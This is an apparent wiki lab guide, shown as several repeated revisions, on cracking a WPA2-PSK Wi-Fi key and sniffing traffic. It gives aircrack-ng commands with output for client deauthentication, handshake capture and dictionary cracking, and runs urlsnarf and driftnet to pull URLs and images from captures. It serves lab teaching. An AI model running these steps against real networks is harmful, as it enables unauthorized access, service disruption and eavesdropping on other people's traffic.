68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

Aircrack-ng 0.8

[00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:16:30Z

MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

Aircrack-ng 0.8

[00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:14:24Z

MMehlfuehrer: /* Description */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

Aircrack-ng 0.8

[00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ 12345678 ]

Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD

Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T12:01:50Z

MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
